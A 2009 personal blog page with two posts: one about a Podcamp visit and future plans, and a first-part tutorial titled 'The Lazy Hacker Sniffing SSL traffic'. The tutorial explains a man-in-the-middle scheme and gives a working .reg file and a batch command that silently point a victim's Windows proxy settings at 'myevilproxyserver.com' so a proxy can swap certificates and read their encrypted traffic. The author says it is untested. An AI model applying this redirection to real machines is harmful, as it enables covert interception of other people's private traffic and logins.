Showing posts with label ssl. Show all posts
Showing posts with label ssl. Show all posts

Monday, March 9, 2009

The current and the future of the blog.


As for the future:
I am Going to finish up the ssl sniffing traffic tutorial and add some arduino stuff. The SSL stuff might be a little while because I am thinking about buying a new machine, and if I do that I am going to do a How to build a computer youtube video, because those things seem to get a lot of hits. I want to do another t-shirt give away so if you have ideas for what kind of contest, please post a comment. Or if you have an idea for a diffrent kind of promotional event let me know.

As for the present:
I went to Podcamp 2009, so that was fun. Didn't talk to as many people because I have hard time approaching people, but I gave an interview, about something to somebody, so if anyone see's me on vlog or podcast or something, let me know. They had free beer starting at 11:30, so I was exahusted by 3:00. If I go again I am going to speak, I think. Got stood up for lunch, which was at Noshville. And whoever missed it, was lucky. The menu was incredibly expensive to begin with, and I was over charged for my plate. And apparently according to my guest the Greek Salad, wasn't so great. The Reuban dog, was good though(not nearly worth the 5 bucks on the menu or the 10 bucks I was charged for it, but whatever).

Thursday, March 5, 2009

The Lazy Hacker Sniffing SSL traffic, maybe part 1:

So this is the first time I am posting, and haven't finished the project, so I am not certain if it works, I'll tell you in part 2. Anyways your probably thinking ssl is encrypted so how are you going to do this. Well we aren't going to break encryption. Instead we are going to send all there traffic to our evil proxy, where it will get any certs from. And our proxy will gobble up the certs it's supposed to get and hand the client machine a cert it made itself. So how are we going to do that, well we need to touch the client computer and do a registry edit. There are lots of languages you can do one in, I am just going to do this one in bat for times sake. It requires one .reg file which should contain:


Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable"=dword:00000001
"ProxyServer"="myevilproxyserver.com"


And we should name it proxy.reg. And we will make one .bat file which will contain:


regedit.exe /s proxy.reg


You can also do this with the reg command and a hundred other ways but this is how I did it. Ok so that's all you need to do on the client machine, next week some time I will show you how to build the server that will eat this poor soul's traffic